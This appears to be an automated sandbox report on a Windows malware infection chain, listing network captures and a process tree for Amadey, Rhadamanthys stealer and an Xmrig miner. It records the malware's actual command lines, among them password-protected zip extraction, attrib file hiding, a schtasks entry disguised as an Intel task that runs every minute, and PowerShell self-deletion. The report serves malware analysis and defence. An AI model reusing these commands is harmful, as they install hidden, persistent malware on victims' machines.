2024-12-17 07:03:33 UTC	500	IN	Data Raw: 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 Data Ascii: Subscriber Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49947	98.85.100.80	443	4480	C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:03:59 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-17 07:03:59 UTC	224	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:03:59 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-17 07:03:59 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49979	104.121.10.34	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:04:10 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-17 07:04:11 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 17 Dec 2024 07:04:10 GMT Content-Length: 35131 Connection: close Set-Cookie: sessionid=e864891c03246b2f16ef8494; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-17 07:04:11 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-17 07:04:11 UTC	16384	IN	Data Raw: 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 Data Ascii: munity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SU
2024-12-17 07:04:11 UTC	3768	IN	Data Raw: 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 Data Ascii: </a></div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_per
2024-12-17 07:04:11 UTC	500	IN	Data Raw: 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 Data Ascii: Subscriber Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div

Target ID:	0
Start time:	02:02:00
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8f0000
File size:	3'062'272 bytes
MD5 hash:	6A4BA197B4062E45BF460D01882D5485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2049245941.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:02:02
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x190000
File size:	3'062'272 bytes
MD5 hash:	6A4BA197B4062E45BF460D01882D5485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2073173169.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:02:02
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x190000
File size:	3'062'272 bytes
MD5 hash:	6A4BA197B4062E45BF460D01882D5485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2075453334.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:03:00
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x190000
File size:	3'062'272 bytes
MD5 hash:	6A4BA197B4062E45BF460D01882D5485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2644702962.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:03:13
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe"
Imagebase:	0x90000
File size:	2'031'104 bytes
MD5 hash:	266042224A146E64D2ECD1D18D74CB10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000007.00000003.2788559394.0000000004830000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000003.2791591127.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000007.00000003.2792857392.0000000004A60000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000003.2791780188.0000000005180000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:03:15
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0xaa0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.2795119500.0000000005860000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000008.00000003.2792751943.0000000003710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000003.2794892973.0000000005640000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000008.00000002.2803801839.0000000003720000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:03:15
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2436 -s 672
Imagebase:	0xd70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:03:21
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe"
Imagebase:	0xf20000
File size:	1'870'336 bytes
MD5 hash:	FD17D712C627B434E99749CFC82C7D51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:03:33
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:03:38
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7c7740000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	02:03:38
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	02:03:38
Start date:	17/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff6b1330000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:03:39
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0xd80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:03:39
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0xd80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:03:39
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0xd80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:03:39
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0xd80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:03:39
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0xd80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0xd80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0xd80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0xd80000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff6c6d90000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff68e890000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff632ac0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6c6d90000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff7a9390000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:03:40
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	02:03:41
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff74b330000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	02:03:41
Start date:	17/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000002.3063073464.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000002.3062383806.0000000001198000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000002.3063252867.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000002.3062383806.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:03:41
Start date:	17/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff624c30000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:03:42
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
